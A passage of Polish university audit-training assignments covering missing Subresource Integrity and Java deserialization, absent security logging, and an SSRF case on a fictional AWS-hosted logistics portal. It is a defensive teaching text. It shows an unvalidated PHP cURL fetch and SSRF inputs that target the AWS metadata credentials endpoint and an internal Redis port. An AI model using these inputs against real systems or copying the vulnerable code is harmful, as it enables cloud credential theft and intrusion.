  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Front-End i W3C SRI): Analizuje strukturę odwołań do zasobów CDN w kodzie HTML, bada brak mechanizmu Subresource Integrity (SRI), ryzyko ataków Supply Chain / XSS oraz generuje poprawne znaczniki ze skrótami SHA-384.

  Student 3 (Audytor Bezpieczeństwa Back-End i Deserializacji): Analizuje mechanizm przetwarzania załączników Java, dekonstruuje podatność Insecure Deserialization (`readObject()`), bada obecność podatnych bibliotek (gadżetów) i projektuje bezpieczną alternatywę opartą na formacie JSON z restrykcyjnym schematem walidacji. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Zestawcie wycinki kodu HTML z odwołaniami do CDN bez atrybutów SRI, fragmenty kodu Javy z wywołaniem `readObject()` na niezaufanym strumieniu danych oraz wynik testu wykonania polecenia systemowego (RCE). Wykażcie naruszenie integralności aplikacji na poziomie front-endu i back-endu.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z odwołaniem do kontroli ISO/IEC 27001:2022 A.8.28 (Bezpieczne kodowanie) oraz § 19 ust. 2 pkt 12 lit. c KRI (ochrona przed utrata, uszkodzeniem i nieuprawniona modyfikacja przetwarzanych informacji). Sformułujcie szansę na doskonalenie (OFI) dotyczącą lokalnego hostowania wszystkich bibliotek skryptowych.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie kompleksowe zabezpieczenie integralności:

  1. Zabezpieczenie zasobów zewnętrznych: lokalne hostowanie krytycznych bibliotek JavaScript na własnym, zabezpieczonym serwerze urzędowym lub obligatoryjne stosowanie atrybutu SRI z silnym skrótem kryptograficznym:

  `<script src="https://cdn.zaufany.pl/jquery-3.7.1.min.js" integrity="sha384-1H217gw2762qsGpbMVZSn1373eSlSh80kbB7OqEfZ5bStQ5MBgpKaUWGnCdCj6Dz" crossorigin="anonymous"></script>`

  2. Całkowite wyeliminowanie natywnej deserializacji Java: zastąpienie przesyłania serializowanych obiektów binarnych formatem tekstowym JSON ze ścisłą walidacją schematu (JSON Schema Validation) lub stosowanie bibliotek filtrujących klasy (np. `SerialFilter` wprowadzony w Java 9+ / JEP 290) dopuszczających wyłącznie bezpieczną białą listę typów danych.

  3. Weryfikacja integralności ofert: automatyczne obliczanie i rejestrowanie skrótu SHA-256 każdego załącznika przetargowego w momencie wgrania wraz z potwierdzeniem urzędowym UPO (Urzędowe Poświadczenie Odbioru).

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety proponowanych rozwiązań (np. konieczność aktualizacji skrótów SRI przy każdej zmianie wersji biblioteki vs. gwarancja integralności kodu) i opracujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja platformy e-Przetargi w Urzędzie Marszałkowskim (2 min): Skala zamówień publicznych, waga integralności ofert i kontekst audytu (Student 1).
• Dekonstrukcja podatności A08:2021 - Software and Data Integrity Failures (4 min): Brak Subresource Integrity (SRI) w zasobach CDN, mechanizm ataku łańcucha dostaw oraz demonstracja zdalnego wykonania kodu (RCE) przez deserializację Java (Student 2 i Student 3).
• Skutki prawne w świetle Prawa zamówień publicznych i KRI (3 min): Ryzyko sfałszowania ofert, unieważnienia przetargów na setki milionów złotych, odpowiedzialność za naruszenie dyscypliny finansów publicznych (Student 1 lub Student 3).
• Prezentacja planu naprawczego oraz analiza wad i zalet (3 min): Wdrożenie atrybutów SRI, przejście na format JSON z walidacją schematu, filtry JEP 290 i sumy kontrolne SHA-256 (Student 2 i Student 3).
• Podsumowanie zaleceń i dyskusja ze słuchaczami (2 min): Odpowiedzi na pytania i podsumowanie standardów bezpiecznego oprogramowania publicznego (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• W jaki sposób mechanizm Subresource Integrity (SRI) zabezpiecza aplikację internetową przed wykonaniem złośliwego kodu w sytuacji, gdy zewnętrzny serwer CDN zostanie skompromitowany?
• Dlaczego natywna deserializacja obiektów (np. w językach Java, Python, PHP) jest uznawana za wysoce niebezpieczną i jakie warunki muszą zaistnieć, aby doprowadziła do zdalnego wykonania kodu (RCE)?
• Jakie wymogi dotyczące integralności i nienaruszalności ofert elektronicznych nakłada na zamawiających publicznych Ustawa - Prawo zamówień publicznych?

2. Opis stanu faktycznego na platformie 'e-Przetargi Lubelskie' i wykrytych luk integralności.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.28 ISO 27001 oraz § 20 KRI.

4. Szczegółowe rozwiązanie problemu:

• Poprawne znaczniki HTML ze skrótami SRI generowanymi algorytmem SHA-384.
• Koncepcja migracji modułu przesyłania załączników z deserializacji binarnej na format JSON ze ścisłą walidacją typów.
• Wdrożenie mechanizmu pieczętowania ofert sumami kontrolnymi SHA-256 i znacznikami czasu (Time-Stamping).

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: stuprocentowa gwarancja niezmienności kodu pobieranego z sieci, całkowita eliminacja wektora RCE przez deserializację, pełna rozliczalność i nienaruszalność ofert przetargowych.
• Wady/wyzwania: konieczność ręcznego lub automatycznego przeliczania hashy SRI przy każdej aktualizacji zewnętrznych bibliotek, nakład pracy programistycznej na przebudowę modułu ofert.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawnych (Prawo zamówień publicznych, KRI, wytyczne W3C SRI, OWASP).

• OWASP Foundation: "OWASP Top 10:2021", A08:2021 Software and Data Integrity Failures.
• World Wide Web Consortium (W3C): "Subresource Integrity - W3C Recommendation", 2016.
• OWASP Foundation: "Deserialization Cheat Sheet", 2023.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.25 (Bezpieczny cykl życia rozwoju), A.8.28 (Bezpieczne kodowanie), A.8.30 (Bezpieczeństwo testów).
• Ustawa z dnia 11 września 2019 r. - Prawo zamówień publicznych (Dz.U. z 2022 r. poz. 1710 z późn. zm.).
• Rozporządzenie Rady Ministrów z dnia 21 maja 2024 r. w sprawie Krajowych Ram Interoperacyjnych, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2024 r. poz. 773).

• U2 Identyfikacja luk integralności kodu (brak SRI) oraz niebezpiecznej deserializacji obiektów.
• U1 Projekt wdrożenia kontroli integralności front-endu i bezpiecznych formatów wymiany danych.
• U3 Szacowanie ryzyka kompromitacji postępowań przetargowych i zdalnego wykonania kodu na serwerze.
• U4 Sporządzenie raportu poaudytowego i wygłoszenie merytorycznego referatu.
• W1W2W3 Zrozumienie mechanizmów integralności oprogramowania, Prawa zamówień publicznych i normy ISO 27001.
• K1K2K3 Dbałość o przejrzystość procesów publicznych, odpowiedzialność za finanse państwowe i wysoka kultura zawodowa.

W referacie zaprezentujcie praktyczny przykład generowania skrótu SRI poleceniem `openssl dgst -sha384 -binary biblioteka.js | openssl base64 -A` i objaśnijcie, jak przeglądarka odrzuca plik w przypadku niezgodności choćby jednego bitu.

Głównym celem zadania jest opanowanie przez studentów praktycznych umiejętności oceny, badania i projektowania systemów rejestrowania zdarzeń, analizy logów audytowych oraz monitorowania incydentów w aplikacjach internetowych (kategoria OWASP Top 10:2021 - A09:2021 Security Logging and Monitoring Failures). Studenci badają portal usług rynku pracy i stypendiów unijnych, w którym stwierdzono całkowity brak rejestrowania prób nieautoryzowanego dostępu, brak monitorowania modyfikacji profili bezrobotnych i wypłat środków, brak centralizacji logów oraz brak powiadamiania administratorów o anomaliach w czasie rzeczywistym. W efekcie tych zaniechań masowe wykradanie danych osobowych 80 000 osób bezrobotnych trwało nieprzerwanie przez 6 miesięcy i zostało wykryte dopiero po zawiadomieniu z państwowego zespołu reagowania na incydenty CSIRT NASK / CERT Polska. Zadanie wymaga przeprowadzenia oceny naruszenia art. 33 RODO (zgłaszanie naruszeń w reżimie 72h), § 20 KRI oraz normy ISO/IEC 27001, a także opracowania zintegrowanego modelu rejestrowania zdarzeń zgodnego z zasadami rozliczalności i wytycznymi OWASP.

Powiązanie z sylabusem i treściami programowymi:

• U2 Identyfikacja i klasyfikacja niezgodności krytycznej (NC1) w zakresie braku rozliczalności zdarzeń bezpieczeństwa i niewykrywania incydentów.
• U1 Opracowanie projektu polityki rejestrowania zdarzeń (Logging Policy) oraz architektury centralnego gromadzenia i analizy logów (SIEM/Syslog).
• U3 Szacowanie ryzyka wielomiesięcznego niezauważonego wycieku danych wrażliwych, kar finansowych nakładanych przez UODO i paraliżu wypłat świadczeń.
• U4 Sporządzenie pisemnego referatu oraz sprawozdania audytowego z rekomendacjami dla Dyrekcji WUP i Pełnomocnika ds. Bezpieczeństwa Informacji.
• W1 Znajomość wymogów RODO dotyczących rozliczalności (art. 5 ust. 2) i terminów zgłaszania naruszeń (art. 33), a także przepisów o promocji zatrudnienia i instytucjach rynku pracy.
• W2W3 Zrozumienie wytycznych A09:2021 OWASP Top 10, metodologii WSTG-LOGN, normy ISO/IEC 27001:2022 (kontrole A.8.15 Rejestrowanie zdarzeń, A.8.16 Monitorowanie aktywności) oraz standardów NIST SP 800-92.
• K1K2K3 Rzetelność w ocenie śladów rewizyjnych, bezstronność audytorska i świadomość kluczowej roli wczesnego wykrywania incydentów.
• Powiązanie z wykładem: Wyk1 (Audyt w instytucjach rynku pracy), Wyk3 (Kontrole A.8.15 i A.8.16 ISO 27001), Wyk4 (Rozliczalność RODO i KRI), Wyk6 (Analiza logów, techniki śledcze i triangulacja dowodów), Wyk7 (Klasyfikacja niezgodności i tworzenie raportu końcowego).

Wojewódzki Urząd Pracy w Kielcach zarządza portalem 'Świętokrzyski Rynek Pracy', który obsługuje rejestrację osób bezrobotnych, wypłaty stypendiów stażowych finansowanych z funduszy europejskich oraz bazę ofert pracodawców. W systemie przetwarzane są dane osobowe ponad 80 000 mieszkańców regionu (w tym numery PESEL, adresy zamieszkania, informacje o stanie zdrowia, wykształceniu i numerach rachunków bankowych).

Stan faktyczny w obszarze logowania i monitorowania aplikacji:

• W trakcie czynności audytorskich stwierdzono, że aplikacja webowa nie rejestruje żadnych zdarzeń związanych z bezpieczeństwem:
  • Niepowodzenia logowania (wpisanie błędnego hasła) nie są zapisywane w żadnym dzienniku zdarzeń.
  • Zmiany adresu e-mail, numeru telefonu oraz numeru rachunku bankowego do wypłat stypendiów są wykonywane bez odnotowania w logu audytowym tożsamości użytkownika dokonującego zmiany, adresu IP ani znacznika czasu.
  • Pobieranie masowych zestawień danych osobowych przez pracowników urzędu nie generuje żadnego śladu w systemie.
• Logi serwera WWW Apache (`access.log`) są składowane wyłącznie lokalnie na tym samym serwerze, rotowane co 7 dni i bezpowrotnie kasowane po 14 dniach z powodu braku miejsca na dysku.
• W urzędzie nie wdrożono żadnego centralnego serwera logów (brak integracji z SIEM/Graylog/Elasticsearch), a administratorzy nie posiadają żadnych narzędzi do automatycznego alertowania o anomaliach (np. pobranie 10 000 rekordów w nocy, logowanie administratora z nietypowego kraju).
• W konsekwencji powyższych zaniedbań, gdy nieznany sprawca wykorzystał wykradzione konto pracownika do pobrania pełnej bazy danych 80 000 osób bezrobotnych, proceder trwał przez 6 miesięcy bez jakiejkolwiek reakcji ze strony urzędu.
• O wycieku urząd dowiedział się dopiero po otrzymaniu oficjalnego pisma z zespołu CERT Polska, który zidentyfikował bazę oferowaną na sprzedaż na jednym z forów w sieci Darknet.
• Podczas próby rekonstrukcji przebiegu ataku okazało się, że z powodu nadpisywania logów co 14 dni niemożliwe jest ustalenie dokładnej daty pierwszego włamania, adresu IP sprawcy ani zakresu skradzionych tabel, co uniemożliwiło przedstawienie rzetelnego raportu Prezesowi UODO i organom ścigania.

Dyrektor WUP w Kielcach powołuje zespół audytorski z zadaniem wyjaśnienia luk w rejestrowaniu zdarzeń i zaprojektowania kompleksowego systemu monitorowania.

Praca w zespole 2-3 osobowym polega na zbadaniu uchybień w logowaniu zdarzeń, analizie braku rozliczalności i opracowaniu kompleksowej polityki audytowej:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Prawne Aspekty Zgłaszania Incydentów i RODO): Analizuje naruszenie art. 33 RODO (obowiązek zgłoszenia naruszenia w 72h) oraz zasady rozliczalności (art. 5 ust. 2 RODO), bada procedury wewnętrzne WUP oraz koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Systemów Logowania i Telemetrii): Bada konfigurację serwera Apache, format logów, brak rejestrowania zdarzeń aplikacyjnych, projektuje strukturę bezpiecznego wpisu logu (kto, kiedy, co, z jakiego IP, jaki wynik) oraz zasady integralności logów (Write-Once).

  Student 3 (Audytor Architektury Monitorowania i SIEM): Projektuje architekturę centralnego gromadzenia logów (Syslog over TLS do serwera SIEM), reguły korelacji zdarzeń w czasie rzeczywistym, reguły alertowania oraz weryfikuje spełnienie kontroli A.8.15 i A.8.16 normy ISO/IEC 27001. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Zestawcie zrzuty konfiguracji rotacji logów (`logrotate.conf` wskazujący 14-dniowy okres retencji), puste pliki dzienników aplikacyjnych oraz oficjalne pismo z CERT Polska o sprzedaży bazy. Wykażcie, że brak logowania uniemożliwił realizację obowiązków prawnych i dochodzenie powłamaniowe.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z powołaniem na kontrolę ISO/IEC 27001:2022 A.8.15 (Rejestrowanie zdarzeń) i A.8.16 (Monitorowanie aktywności) oraz art. 32 ust. 1 lit. d RODO (regularne testowanie i ocenianie skuteczności środków technicznych). Sformułujcie szansę na doskonalenie (OFI) w zakresie wdrożenia reguł wykrywania anomalii behawioralnych.

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie kompleksowy model rejestrowania i monitorowania:

  1. Standard wpisu logu aplikacyjnego: każde zdarzenie uwierzytelniania, modyfikacji danych wrażliwych i eksportu danych musi generować ustrukturyzowany rekord JSON zawierający: timestamp w formacie ISO 8601, unikalny identyfikator zdarzenia, identyfikator użytkownika, źródłowy adres IP, nazwę akcji oraz status operacji (Success/Failure). Zakaz wpisywania haseł i numerów kart w treści logu!

  2. Centralizacja i retencja: przesyłanie logów w czasie rzeczywistym szyfrowanym kanałem Syslog (TLS) do dedykowanego, odseparowanego klastra logowania (np. Graylog / Elasticsearch) z czasem retencji minimum 12 miesięcy (zgodnie z wytycznymi KRI i KSC).

  3. Automatyczne alertowanie: zdefiniowanie reguł natychmiastowego powiadamiania zespołu bezpieczeństwa (SMS/e-mail) w przypadku: >5 nieudanych logowań w ciągu 1 minuty, pobrania >100 rekordów przez jednego użytkownika w ciągu godziny lub logowania spoza terytorium RP.

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety proponowanego rozwiązania (np. koszty pamięci masowej na logi vs. pełna rozliczalność i wczesne wykrywanie włamań) i opracujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja portalu Wojewódzkiego Urzędu Pracy w Kielcach (2 min): Profil portalu, charakter przetwarzanych danych bezrobotnych i skala incydentu (Student 1).
• Dekonstrukcja podatności A09:2021 - Security Logging and Monitoring Failures (4 min): Brak logowania zdarzeń, lokalna i krótka retencja logów, brak SIEM i omówienie, dlaczego wyciek trwał 6 miesięcy (Student 2).
• Skutki prawne w świetle RODO i KRI oraz analiza odpowiedzialności (3 min): Naruszenie zasady rozliczalności (art. 5 ust. 2), konsekwencje braku możliwości ustalenia skali wycieku dla UODO (Student 3 lub Student 1).
• Prezentacja projektu bezpiecznego logowania i monitoringu SIEM (3 min): Struktura rekordu JSON, przesyłanie logów przez TLS, retencja 12 miesięcy, reguły alertowania w czasie rzeczywistym (Student 2 i Student 3).
• Podsumowanie, rekomendacje poaudytowe i dyskusja z salą (2 min): Odpowiedzi na pytania słuchaczy i wnioski końcowe (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Jakie kluczowe zdarzenia w aplikacji internetowej (np. nieudane logowania, zmiany uprawnień, eksport danych) muszą być bezwzględnie rejestrowane w dziennikach bezpieczeństwa?
• Dlaczego przechowywanie logów wyłącznie lokalnie na serwerze aplikacji jest uznawane za poważny błąd architektoniczny (ryzyko zatarcia śladów przez intruza)?
• Jakie wymogi dotyczące czasu retencji i integralności logów systemowych nakładają Krajowe Ramy Interoperacyjności (KRI) oraz norma ISO/IEC 27001?

2. Opis stanu faktycznego w systemie WUP w Kielcach i chronologia wykrycia wycieku przez CERT Polska.

3. Karta niezgodności audytowej z powołaniem na kontrole A.8.15 i A.8.16 ISO 27001 oraz art. 33 RODO.

4. Szczegółowe rozwiązanie problemu:

• Wzorcowy schemat ustrukturyzowanego logu audytowego w formacie JSON.
• Architektura centralnego gromadzenia logów z wykorzystaniem bezpiecznego protokołu rsyslog/TLS i klastra centralnego.
• Zestaw podstawowych reguł detekcji i alertowania o incydentach w czasie rzeczywistym.

5. Analiza zalet i wad wybranego rozwiązania:

• Zalety: natychmiastowe wykrywanie naruszeń, pełna rozliczalność personelu i użytkowników, możliwość przeprowadzenia analizy śledczej (Forensics), zgodność z RODO i KRI.
• Wady/wyzwania: konieczność rozbudowy zasobów dyskowych na retencję logów, ryzyko zapychania skrzynek fałszywymi alertami (False Positives) przy źle dobranych progach reguł.

6. Bibliografia, netografia i odnośniki do norm i przepisów prawnych (RODO, KRI, KSC, NIST SP 800-92, OWASP).

• OWASP Foundation: "OWASP Top 10:2021", A09:2021 Security Logging and Monitoring Failures.
• OWASP Foundation: "Logging Cheat Sheet", 2023.
• National Institute of Standards and Technology (NIST): Special Publication 800-92 "Guide to Computer Security Log Management", Gaithersburg 2006.
• Norma PN-EN ISO/IEC 27001:2022: Załącznik A - kontrole A.8.15 (Rejestrowanie zdarzeń), A.8.16 (Monitorowanie aktywności).
• Rozporządzenie Parlamentu Europejskiego i Rady (UE) 2016/679 (RODO) - art. 5 ust. 2 (Zasada rozliczalności), art. 32 (Bezpieczeństwo przetwarzania), art. 33 (Zgłaszanie naruszeń).
• Rozporządzenie Rady Ministrów z dnia 21 maja 2024 r. w sprawie Krajowych Ram Interoperacyjnych, minimalnych wymagań dla rejestrów publicznych i wymiany informacji w postaci elektronicznej oraz minimalnych wymagań dla systemów teleinformatycznych (Dz.U. z 2024 r. poz. 773) - § 20 ust. 2.

• U2 Identyfikacja braków w procedurach logowania, monitorowania i wykrywania incydentów.
• U1 Projekt kompleksowej polityki rejestrowania zdarzeń oraz centralnej architektury logowania.
• U3 Szacowanie ryzyka wielomiesięcznych niezauważonych naruszeń poufności danych osobowych.
• U4 Sporządzenie sprawozdania audytowego z mierzalnymi zaleceniami i wygłoszenie referatu.
• W1W2W3 Dogłębna znajomość normy ISO 27001, wymogów rozliczalności RODO i przepisów KRI.
• K1K2K3 Profesjonalizm audytorski, zrozumienie wagi śladów cyfrowych i rzetelność zawodowa.

Podczas wystąpienia seminaryjnego przedstawcie przykładową strukturę rekordu logu w formacie JSON oraz wyjaśnijcie słuchaczom pojęcie 'Mean Time to Detect' (MTTD) i dlaczego brak monitoringu drastycznie wydłuża czas trwania ataku w organizacji.

Głównym celem zadania jest wykształcenie u studentów umiejętności badania, wykrywania i neutralizowania zaawansowanych podatności fałszowania żądań po stronie serwera (kategoria OWASP Top 10:2021 - A10:2021 Server-Side Request Forgery - SSRF) w nowoczesnych architekturach webowych hostowanych w chmurze obliczeniowej. Studenci analizują internetową platformę logistyczną służącą do generowania listów przewozowych i faktur, w której zaimplementowano funkcjonalność automatycznego pobierania logo kontrahenta oraz załączników z zewnętrznego adresu URL podanego w formularzu. Z powodu braku walidacji adresu docelowego serwer aplikacji może zostać zmuszony do wysłania żądania HTTP do zasobów wewnętrznych niedostępnych z publicznego internetu: odpytania chmurowej usługi metadanych instancji AWS EC2 (`http://169.254.169.254/latest/meta-data/`) w celu kradzieży tymczasowych poświadczeń ról IAM, a także przeskanowania wewnętrznej sieci lokalnej (Intranet) i portów administracyjnych innych serwerów bazodanowych. Zadanie koncentruje się na analizie wektora ataku SSRF, ocenie ryzyka przejęcia chmury organizacji w świetle Dyrektywy NIS2 i normy ISO/IEC 27001 oraz opracowaniu skutecznych mechanizmów obronnych (białe listy domen, walidacja adresów IP z blokadą adresów prywatnych RFC 1918 i pętli zwrotnej, migracja na AWS IMDSv2).

Powiązanie z sylabusem i treściami programowymi:

• U2 Wykrywanie i dokumentowanie niezgodności krytycznej (NC1) polegającej na podatności SSRF umożliwiającej dostęp do chronionych zasobów wewnętrznych i metadanych chmurowych.
• U1 Opracowanie zaleceń inżynierskich wdrożenia walidacji adresów URL, reguł zapory sieciowej na serwerze oraz konfiguracji usługi metadanych IMDSv2.
• U3 Szacowanie ryzyka całkowitej kompromitacji środowiska chmurowego, kradzieży danych tysięcy kontrahentów i paraliżu operacyjnego łańcucha dostaw.
• U4 Sporządzenie pisemnego referatu oraz ustrukturyzowanego raportu poaudytowego dla Zarządu Spółki i Dyrektora ds. Bezpieczeństwa Chmury.
• W1 Znajomość przepisów o ochronie tajemnicy handlowej, danych osobowych (RODO) oraz wymogów Dyrektywy NIS2 w odniesieniu do kluczowych podmiotów logistycznych.
• W2W3 Zrozumienie kategorii A10:2021 OWASP Top 10, metodologii WSTG-INPV-19, normy ISO/IEC 27001:2022 (kontrole A.8.20 Bezpieczeństwo sieci, A.8.22 Segregacja w sieciach, A.8.28 Bezpieczne kodowanie) oraz dobrych praktyk chmurowych AWS Well-Architected Framework.
• K1K2K3 Zdolność do całościowej oceny zagrożeń w środowiskach chmurowych, dociekliwość analityczna i rzetelność audytorska.
• Powiązanie z wykładem: Wyk1 (Audyt w podmiotach kluczowych NIS2), Wyk3 (Kontrole A.8.20 i A.8.28 ISO 27001), Wyk5 (Analiza ryzyka chmurowego i wektorów SSRF), Wyk6 (Analiza żądań HTTP i logów chmurowych AWS CloudTrail), Wyk7 (Klasyfikacja niezgodności i tworzenie raportu końcowego).

PolLogistyka S.A. jest ogólnopolskim operatorem logistycznym zarządzającym flotą 800 pojazdów ciężarowych oraz 12 centrami dystrybucyjnymi. Spółka utrzymuje w chmurze Amazon Web Services (AWS) platformę webową 'LogiPort', za pośrednictwem której klienci biznesowi generują międzynarodowe listy przewozowe (CMR), etykiety adresowe oraz rozliczają usługi transportowe.

Stan faktyczny w obszarze implementacji funkcji sieciowych aplikacji:

• W module personalizacji dokumentów przewozowych (`generuj_cmr.php`) użytkownik ma możliwość umieszczenia własnego logo firmy na wydruku PDF. W formularzu znajduje się pole 'Adres URL logo': `<input type="text" name="logo_url">`.
• Po przesłaniu formularza serwer aplikacji (działający na instancji AWS EC2 w języku PHP z biblioteką cURL) wykonuje bezpośrednie żądanie HTTP GET pod wskazany przez użytkownika adres URL w celu pobrania obrazka i osadzenia go w wygenerowanym dokumencie:

  `$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $_POST['logo_url']); $img = curl_exec($ch);`

• W kodzie aplikacji brak jest jakiejkolwiek weryfikacji adresu URL: aplikacja akceptuje dowolne protokoły (`http://`, `https://`, `file://`, `gopher://`) oraz dowolne adresy IP i nazwy domenowe.
• Podczas testu podatności audytor wprowadził w polu adresu URL wartość:

  `http://169.254.169.254/latest/meta-data/iam/security-credentials/RolaAplikacjiLogiPort`

  Jest to adres lokalnej usługi metadanych instancji AWS (Instance Metadata Service - IMDSv1).

• W odpowiedzi serwer aplikacji pobrał i wyświetlił w wygenerowanym pliku PDF pełne dane uwierzytelniające roli IAM: `AccessKeyId`, `SecretAccessKey` oraz tymczasowy `Token`. Posiadając te dane, intruz z zewnątrz może uzyskać bezpośredni dostęp do panelu i zasobów chmurowych spółki (w tym zasobników AWS S3 z kopiami faktur i baz danych RDS) bez jakiegokolwiek logowania do aplikacji.
• Ponadto wpisanie adresu `http://127.0.0.1:6379/` pozwoliło na bezpośrednie wysłanie poleceń do wewnętrznej bazy pamięci podręcznej Redis działającej na serwerze i niedostępnej z internetu, a odpytywanie adresów z podsieci prywatnej `http://10.0.1.0/24` umożliwiło zmapowanie wewnętrznej sieci intranetowej spółki.

Zarząd PolLogistyka S.A. zleca zespołowi audytorskiemu natychmiastowe zbadanie podatności SSRF, ocenę ryzyka chmurowego i wdrożenie wielowarstwowych zabezpieczeń.

Praca w zespole 2-3 osobowym polega na zbadaniu podatności SSRF, przeanalizowaniu wektorów kompromitacji chmury oraz zaprojektowaniu architektury obronnej:

• Krok 1 (Podział ról w grupie audytowej):

  Student 1 (Audytor Wiodący / Bezpieczeństwo Łańcucha Dostaw i Dyrektywa NIS2): Analizuje rolę spółki w łańcuchu dostaw, skutki wycieku danych kontrahentów w świetle NIS2 i RODO, procedury zarządzania ryzykiem chmurowym oraz koordynuje strukturę referatu.

  Student 2 (Audytor Techniczny ds. Bezpieczeństwa Aplikacji Webowych i SSRF): Analizuje podatny kod cURL w skrypcie `generuj_cmr.php`, dekonstruuje podatność A10:2021 SSRF według wytycznych WSTG-INPV-19, bada wektory eksfiltracji metadanych IMDSv1 i projektuje bibliotekę walidującą adresy URL z blokadą prywatnych zakresów IP.

  Student 3 (Audytor Bezpieczeństwa Chmury AWS i Sieci): Bada konfigurację instancji AWS EC2, rolę IAM, projektuje wymuszenie protokołu IMDSv2 (Session-oriented token), konfigurację reguł Security Groups / WAF oraz weryfikuje spełnienie kontroli A.8.20 i A.8.22 normy ISO/IEC 27001. W zespole 2-osobowym obowiązki te dzielą Studenci 1 i 2.

• Krok 2 (Triangulacja dowodów audytowych):

  Powiążcie fragment kodu źródłowego z wywołaniem cURL, treść wygenerowanego dokumentu PDF zawierającego klucze AWS IAM oraz logi AWS CloudTrail rejestrujące zapytania z pobranymi poświadczeniami. Wykażcie, że podatność aplikacji webowej doprowadziła do całkowitej kompromitacji tożsamości chmurowej.

• Krok 3 (Kwalifikacja niezgodności):

  Sformułujcie kartę niezgodności krytycznej (NC1) z powołaniem na kontrolę ISO/IEC 27001:2022 A.8.28 (Bezpieczne kodowanie) oraz A.8.20 (Bezpieczeństwo sieci). Sformułujcie szansę na doskonalenie (OFI) dotyczącą cyklicznego audytu uprawnień ról IAM (Least Privilege).

• Krok 4 (Koncepcja rozwiązania problemu):

  Zaprojektujcie trójwarstwową obronę przed SSRF:

  1. Walidacja aplikacji webowej:

  • Ograniczenie protokołów wyłącznie do `http://` i `https://` (blokada `file://`, `gopher://`, `dict://`).
  • Rezolucja DNS podanej nazwy domenowej przed wykonaniem żądania i weryfikacja, czy uzyskany adres IP nie należy do zakresów prywatnych (RFC 1918: `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`), pętli zwrotnej (`127.0.0.0/8`), adresów link-local (`169.254.0.0/16`) ani adresów IPv6 (`::1`).
  • Stosowanie ścisłej białej listy zaufanych domen zewnętrznych (jeśli to możliwe).

  2. Utwardzenie środowiska chmurowego AWS:

  • Wymuszenie protokołu IMDSv2 (Instance Metadata Service Version 2) na wszystkich instancjach EC2, który wymaga pobrania tokenu sesyjnego metodą HTTP PUT przed odpytaniem metadanych (`HttpTokens=required`, limit przeskoków pakietu `HttpPutResponseHopLimit=1`), co całkowicie neutralizuje ataki typu SSRF.

  3. Segmentacja sieciowa: reguły zapory sieciowej (iptables / AWS Security Groups) uniemożliwiające serwerowi WWW nawiązywanie połączeń do wewnętrznych portów administracyjnych baz danych (np. 6379 Redis, 5432 PostgreSQL).

• Krok 5 (Przygotowanie referatu i dokumentacji poaudytowej):

  Zestawcie wady i zalety wielowarstwowej ochrony przed SSRF (np. konieczność wstępnego odpytania DNS i ryzyko ataku DNS Rebinding vs. pełna ochrona zasobów chmurowych) i opracujcie referat seminaryjny.

Plan prezentacji referatu seminaryjnego (10-15 minut):

• Prezentacja platformy PolLogistyka i znaczenia dla transportu towarowego (2 min): Rola platformy LogiPort, hosting w chmurze AWS i kontekst audytu (Student 1).
• Dekonstrukcja podatności A10:2021 - Server-Side Request Forgery (SSRF) (4 min): Czym jest SSRF, dlaczego serwer pobiera dane z obcego URL, demonstracja ataku na adres metadanych AWS `169.254.169.254` i wycieku kluczy IAM (Student 2).
• Skutki kompromitacji tożsamości chmurowej w świetle NIS2 i RODO (3 min): Zdalne przejęcie klastra chmurowego, kradzież baz danych kontrahentów, paraliż floty transportowej i odpowiedzialność Zarządu (Student 3 lub Student 1).
• Prezentacja wielowarstwowego planu naprawczego oraz analiza wad i zalet (3 min): Bezpieczna walidacja adresów IP w aplikacji, wdrożenie AWS IMDSv2 z żądaniem PUT, reguły firewall i obrona przed DNS Rebinding (Student 2 i Student 3).
• Podsumowanie, rekomendacje poaudytowe i dyskusja ze słuchaczami (2 min): Odpowiedzi na pytania uczestników zajęć i wnioski końcowe (cały zespół).

Wymagana treść pisemnego raportu i referatu studenckiego:

1. Odpowiedzi na pytania problemowe:

• Na czym polega podatność Server-Side Request Forgery (SSRF) i dlaczego w środowiskach chmurowych (AWS, Azure, GCP) niesie ona ze sobą szczególne ryzyko całkowitego przejęcia infrastruktury?
• Czym różni się usługa metadanych AWS IMDSv1 od IMDSv2 i dlaczego wprowadzenie wymogu pobierania tokenu sesyjnego (Session Token via HTTP PUT) skutecznie uniemożliwia eksploatację podatności SSRF?
• Czym jest technika ataku DNS Rebinding i dlaczego prosta weryfikacja nazwy domenowej przed wykonaniem zapytania może okazać się niewystarczająca do zablokowania SSRF?

2. Opis stanu faktycznego na platformie 'LogiPort' i przebiegu symulacji wycieku kluczy AWS IAM.

3. Karta niezgodności audytowej z powołaniem na kontrolę A.8.28 normy ISO/IEC 27001:2022 oraz wymogi Dyrektywy NIS2.

4. Szczegółowe rozwiązanie problemu:

